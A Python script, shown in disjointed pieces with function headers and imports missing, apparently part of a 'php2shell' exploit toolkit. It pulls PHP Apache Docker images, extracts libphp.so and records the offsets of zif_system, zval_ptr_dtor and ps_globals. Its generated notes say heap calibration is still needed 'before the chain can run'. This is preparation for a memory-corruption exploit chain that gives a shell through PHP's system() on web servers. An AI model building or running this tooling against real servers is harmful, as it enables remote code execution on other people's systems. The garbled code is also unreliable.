"php:7.4-apache",

"php:8.0-apache",

"php:8.1-apache",

"php:8.2.34-apache",

"php:8.3.35-apache",

"php:8.4.26-apache",

"php:8.5.11-apache",

"/usr/lib/apache2/modules/libphp.so",

"/usr/lib/apache2/modules/libphp7.so",

"/usr/lib/apache2/modules/libphp5.so",

data = open(path, "rb").read()

if data[:4] != b"\x7fELF" or data[4] != 2 or data[5] != 1:

raise ValueError("not a little-endian ELF64 file")

e_phoff, = struct.unpack_from("<Q", data, 0x20)

e_shoff, = struct.unpack_from("<Q", data, 0x28)

e_phentsize, e_phnum = struct.unpack_from("<HH", data, 0x36)

e_shentsize, e_shnum = struct.unpack_from("<HH", data, 0x3A)

loads = []

for i in range(e_phnum):

off = e_phoff + i * e_phentsize

p_type, = struct.unpack_from("<I", data, off)

p_vaddr, = struct.unpack_from("<Q", data, off + 16)

p_memsz, = struct.unpack_from("<Q", data, off + 40)

if p_type == PT_LOAD and p_memsz:

loads.append(p_vaddr)

bias = min(loads) if loads else 0

sections = []

for i in range(e_shnum):

off = e_shoff + i * e_shentsize

name_off, sh_type = struct.unpack_from("<II", data, off)

sh_offset, sh_size = struct.unpack_from("<QQ", data, off + 24)

sh_link, = struct.unpack_from("<I", data, off + 40)

sh_entsize, = struct.unpack_from("<Q", data, off + 56)

sections.append({"type": sh_type, "offset": sh_offset, "size": sh_size,

"link": sh_link, "entsize": sh_entsize})

wanted = {"zif_system": None, "zval_ptr_dtor": None, "ps_globals": None}

for sec in sections:

if sec["type"] not in (SHT_SYMTAB, SHT_DYNSYM):

continue

if sec["link"] >= len(sections):

continue

strtab = sections[sec["link"]]

entsize = sec["entsize"] or 24

for i in range(sec["size"] // entsize):

off = sec["offset"] + i * entsize

st_name, = struct.unpack_from("<I", data, off)

st_value, = struct.unpack_from("<Q", data, off + 8)

if not st_name:

continue

name_off = strtab["offset"] + st_name

end = data.find(b"\x00", name_off)

if end < 0:

continue

name = data[name_off:end].decode("ascii", "replace")

if name in wanted and wanted[name] is None:

wanted[name] = st_value

out = docker("inspect", "--format",

"{{range .Config.Env}}{{println .}}{{end}}", image)

env = {}

for line in out.stdout.splitlines():

if "=" in line:

k, v = line.split("=", 1)

env[k.strip()] = v.strip()

# Some imported/emulated images report an empty Architecture, so ask the

# image itself. uname inside the container is authoritative.

out = docker("run", "--rm", "--entrypoint", "uname", image, "-m", timeout=120)

machine = out.stdout.strip().lower()

if machine:

mapped = {"aarch64": "aarch64", "arm64": "aarch64",

"x86_64": "amd64", "amd64": "amd64"}.get(machine)

if mapped:

return mapped

out = docker("inspect", "--format", "{{.Architecture}}", image)

arch = out.stdout.strip()

if not arch or arch == "unknown":

machine = platform.machine().lower()

arch = {"aarch64": "aarch64", "arm64": "aarch64", "x86_64": "amd64"}.get(machine, machine)

name = "p2s-off-" + image.replace(":", "-").replace("/", "-")

docker("rm", "-f", name)

print(f"[*] {image}: creating container", flush=True)

created = docker("create", "--name", name, image, timeout=900)

if created.returncode != 0:

return {"image": image, "status": "pull/create failed",

"error": created.stderr.strip()[:200]}

try:

lib = None

for candidate in LIB_PATHS:

target = f"/tmp/{name}.so"

cp = docker("cp", f"{name}:{candidate}", target)

if cp.returncode == 0:

lib = target

break

if not lib:

return {"image": image, "status": "libphp not found"}

bias, symbols = parse_elf(lib)

sha = hashlib.sha256(open(lib, "rb").read()).hexdigest()

env = image_env(image)

version = env.get("PHP_VERSION", "")

if not version:

tag = re.search(r"php:(\d+\.\d+\.\d+)", image)

version = tag.group(1) if tag else ""

arch = image_arch(image)

result = {

"image": image,

"php_version": version,

"branch": ".".join(version.split(".")[:2]) if version else "",

"arch": arch,

"libphp": {k: (hex(v) if v is not None else None) for k, v in symbols.items()},

"libphp_sha256": sha,

"status": "offsets extracted; heap not calibrated",

}

os.makedirs(OUT, exist_ok=True)

path = os.path.join(OUT, f"{version or name}-{arch}.json")

with open(path, "w", encoding="utf-8") as fh:

json.dump(result, fh, indent=2)

result["file"] = os.path.relpath(path, ROOT)

print(f" PHP {version} {arch}: zif={result['libphp']['zif_system']} "

f"dtor={result['libphp']['zval_ptr_dtor']}", flush=True)

return result

finally:

entries = {}

for path in glob.glob(os.path.join(OUT, "*.json")):

try:

with open(path, "r", encoding="utf-8") as fh:

item = json.load(fh)

except (OSError, ValueError):

continue

entries[(item.get("php_version"), item.get("arch"), item.get("image"))] = item

for item in results:

if item.get("libphp"):

entries[(item.get("php_version"), item.get("arch"), item.get("image"))] = item

ordered = sorted(entries.values(),

key=lambda r: tuple(int(x) if x.isdigit() else 0

for x in (r.get("php_version") or "0").split(".")))

lines = [

"# libphp offset inventory",

"",

"Generated by `tools/php2shell_offsets.py`. These are symbol offsets only:",

"a build still needs heap calibration before the chain can run.",

"",

"| Image | PHP | Arch | `zif_system` | `zval_ptr_dtor` | libphp sha256 | Status |",

"| --- | --- | --- | --- | --- | --- | --- |",

]

for r in ordered:

lib = r.get("libphp") or {}

lines.append("| {image} | {php} | {arch} | {zif} | {dtor} | {sha} | {status} |".format(

image=r.get("image", ""), php=r.get("php_version", "?"),

arch=r.get("arch", "?"), zif=lib.get("zif_system") or "-",

dtor=lib.get("zval_ptr_dtor") or "-",

sha=(r.get("libphp_sha256") or "-")[:12], status=r.get("status", "")))

lines += ["", "## Notes", "",

"- Offsets are relative to the `libphp.so` load base; ASLR changes the base, not the offset.",

"- The same PHP version built by another distribution/arch has different offsets.",

"- Heap parameters (`stage1_n`, forge length, `htdata`, pads) are not included here;",

" run `tools/php2shell_calibrate.py` against a replica of the build for those.",

""]

os.makedirs(os.path.dirname(DOC), exist_ok=True)

with open(DOC, "w", encoding="utf-8") as fh:

ap = argparse.ArgumentParser(description="Extract libphp offsets from PHP images.")

ap.add_argument("--images", nargs="*", default=DEFAULT_IMAGES)

args = ap.parse_args()

if not shutil.which("docker"):

print("docker not found", file=sys.stderr)

return 4

results = [extract(image) for image in args.images]

write_doc(results)

print(f"[*] wrote {DOC}")